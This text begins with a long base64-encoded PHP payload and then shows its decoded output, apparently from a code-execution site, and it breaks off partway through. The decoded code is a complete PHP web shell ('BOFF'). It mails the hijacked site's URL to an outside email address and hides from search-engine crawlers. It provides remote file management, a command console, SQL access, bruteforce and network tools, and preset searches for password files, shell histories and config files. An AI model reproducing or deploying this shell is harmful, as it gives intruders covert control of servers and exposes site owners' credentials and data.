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"));
Output for 7.0.20 - 7.2.0
<?php $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $body = "Egy_Spider \nUserName: ".htmlspecialchars($tacfgd['uname']) ."\nPassWord: ".htmlspecialchars($tacfgd['pword'])."\nMessage:\n"."\nE-server: ".htmlspecialchars ($_SERVER['REQUEST_URI'])."\nE-server2: ".htmlspecialchars ($_SERVER["SERVER_NAME"])."\n\nIP: "; mail("wp@live.fr","Shell http://$web$inj", "$body"); # Web Shell by boff $auth_pass = ""; $color = "#df5"; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251'; if(!empty($_SERVER['HTTP_USER_AGENT'])) { $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler"); if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } } @session_start(); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); @set_magic_quotes_runtime(0); @define('BOFF_VERSION', '1.0'); if(get_magic_quotes_gpc()) { function BOFFstripslashes($array) { return is_array($array) ? array_map('BOFFstripslashes', $array) : stripslashes($array); } $_POST = BOFFstripslashes($_POST); } function BOFFLogin() { die("<pre align=center><b>Authorization</b><br>�0ff \/\/3� $|-|311 1.0<br><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"); } if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) ) $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; else BOFFLogin(); if(strtolower(substr(PHP_OS,0,3)) == "win") $os = 'win'; else $os = 'nix'; $safe_mode = @ini_get('safe_mode'); if(!$safe_mode) error_reporting(0); $disable_functions = @ini_get('disable_functions'); $home_cwd = @getcwd(); if(isset($_POST['c'])) @chdir($_POST['c']); $cwd = @getcwd(); if($os == 'win') { $home_cwd = str_replace("\\", "/", $home_cwd); $cwd = str_replace("\\", "/", $cwd); } if( $cwd[strlen($cwd)-1] != '/' ) $cwd .= '/'; if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax']; if($os == 'win') $aliases = array( "List Directory" => "dir", "Find index.php in current dir" => "dir /s /w /b index.php", "Find *config*.php in current dir" => "dir /s /w /b *config*.php", "Show active connections" => "netstat -an", "Show running services" => "net start", "User accounts" => "net user", "Show computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all" ); else $aliases = array( "List dir" => "ls -lha", "list file attributes on a Linux second extended file system" => "lsattr -va", "show opened ports" => "netstat -an | grep -i listen", "process status" => "ps aux", "Find" => "", "find all suid files" => "find / -type f -perm -04000 -ls", "find suid files in current dir" => "find . -type f -perm -04000 -ls", "find all sgid files" => "find / -type f -perm -02000 -ls", "find sgid files in current dir" => "find . -type f -perm -02000 -ls", "find config.inc.php files" => "find / -type f -name config.inc.php", "find config* files" => "find / -type f -name \"config*\"", "find config* files in current dir" => "find . -type f -name \"config*\"", "find all writable folders and files" => "find / -perm -2 -ls", "find all writable folders and files in current dir" => "find . -perm -2 -ls", "find all service.pwd files" => "find / -type f -name service.pwd", "find service.pwd files in current dir" => "find . -type f -name service.pwd", "find all .htpasswd files" => "find / -type f -name .htpasswd", "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", "find all .bash_history files" => "find / -type f -name .bash_history", "find .bash_history files in current dir" => "find . -type f -name .bash_history", "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", "Locate" => "", "locate httpd.conf files" => "locate httpd.conf", "locate vhosts.conf files" => "locate vhosts.conf", "locate proftpd.conf files" => "locate proftpd.conf", "locate psybnc.conf files" => "locate psybnc.conf", "locate my.conf files" => "locate my.conf", "locate admin.php files" =>"locate admin.php", "locate cfg.php files" => "locate cfg.php", "locate conf.php files" => "locate conf.php", "locate config.dat files" => "locate config.dat", "locate config.php files" => "locate config.php", "locate config.inc files" => "locate config.inc", "locate config.inc.php" => "locate config.inc.php", "locate config.default.php files" => "locate config.default.php", "locate config* files " => "locate config", "locate .conf files"=>"locate '.conf'", "locate .pwd files" => "locate '.pwd'", "locate .sql files" => "locate '.sql'", "locate .htpasswd files" => "locate '.htpasswd'", "locate .bash_history files" => "locate '.bash_history'", "locate .mysql_history files" => "locate '.mysql_history'", "locate .fetchmailrc files" => "locate '.fetchmailrc'", "locate backup files" => "locate backup", "locate dump files" => "locate dump", "locate priv files" => "locate priv" ); function BOFFHeader() { if(empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset']; global $color; echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - BOFF " . BOFF_VERSION ."</title> <style> body{background-color:#000028;color:#e1e1e1;} body,td,th{ border:1px outset black;font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; } table.info{ border-left:5px solid #df5;color:#fff;background-color:#000028; } span,h1,a{ color: #df5 !important; } span{ font-weight: bolder; } h1{ border-left:7px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#000028;margin:0px; } div.content{ padding: 7px;margin-left:7px;background-color:#333; } a{ text-decoration:none; } a:hover{ text-decoration:underline; } .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } .bigarea{ width:100%;height:250px; } input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; } form{ margin:0px; } #toolsTbl{ text-align:center; } .toolsInp{ width: 300px } .main th{text-align:left;background-color:#003300;} .main tr:hover{border:2px outset gray;;background-color:#5e5e5e} .l1{background-color:#444} .l2{background-color:#333} pre{font-family:Courier,Monospace;} </style> <script> var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; var a_ = '" . htmlspecialchars(@$_POST['a']) ."' var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."'; var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."'; var d = document; function set(a,c,p1,p2,p3,charset) { if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; } function g(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); d.mf.submit(); } function a(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); var params = 'ajax=true'; for(i=0;i<d.mf.elements.length;i++) params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params); } function sr(url, params) { if (window.XMLHttpRequest) req = new XMLHttpRequest(); else if (window.ActiveXObject) req = new ActiveXObject('Microsoft.XMLHTTP'); if (req) { req.onreadystatechange = processReqChange; req.open('POST', url, true); req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); req.send(params); } } function processReqChange() { if( (req.readyState == 4) ) if(req.status == 200) { var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); var arr=reg.exec(req.responseText); eval(arr[2].substr(0, arr[1])); } else alert('Request error!'); } </script> <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> <form method=post name=mf style='display:none;'> <input type=hidden name=a> <input type=hidden name=c> <input type=hidden name=p1> <input type=hidden name=p2> <input type=hidden name=p3> <input type=hidden name=charset> </form>"; $freeSpace = @diskfreespace($GLOBALS['cwd']); $totalSpace = @disk_total_space($GLOBALS['cwd']); $totalSpace = $totalSpace?$totalSpace:1; $release = @php_uname('r'); $kernel = @php_uname('s'); $explink = 'http://exploit-db.com/list.php?description='; if(strpos('Linux', $kernel) !== false) $explink .= urlencode('Linux Kernel ' . substr($release,0,6)); else $explink .= urlencode($kernel . ' ' . substr($release,0,3)); if(!function_exists('posix_getegid')) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = "?"; } else { $uid = @posix_getpwuid(posix_geteuid()); $gid = @posix_getgrgid(posix_getegid()); $user = $uid['name']; $uid = $uid['uid']; $group = $gid['name']; $gid = $gid['gid']; } $cwd_links = ''; $path = explode("/", $GLOBALS['cwd']); $n=count($path); for($i=0; $i<$n-1; $i++) { $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; for($j=0; $j<=$i; $j++) $cwd_links .= $path[$j].'/'; $cwd_links .= "\")'>".$path[$i]."/</a>"; } $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); $opt_charsets = ''; foreach($charsets as $item) $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); if(!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout'; $m['Self remove'] = 'SelfRemove'; $menu = ''; foreach($m as $k => $v) $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; $drives = ""; if($GLOBALS['os'] == 'win') { foreach(range('c','z') as $drive) if(is_dir($drive.':\\')) $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; } echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . BOFFViewSize($totalSpace) . ' <span>Free:</span> ' . BOFFViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. BOFFPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; } function BOFFFooter() { $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; echo " </div> <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'> <tr> <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td> <td><form 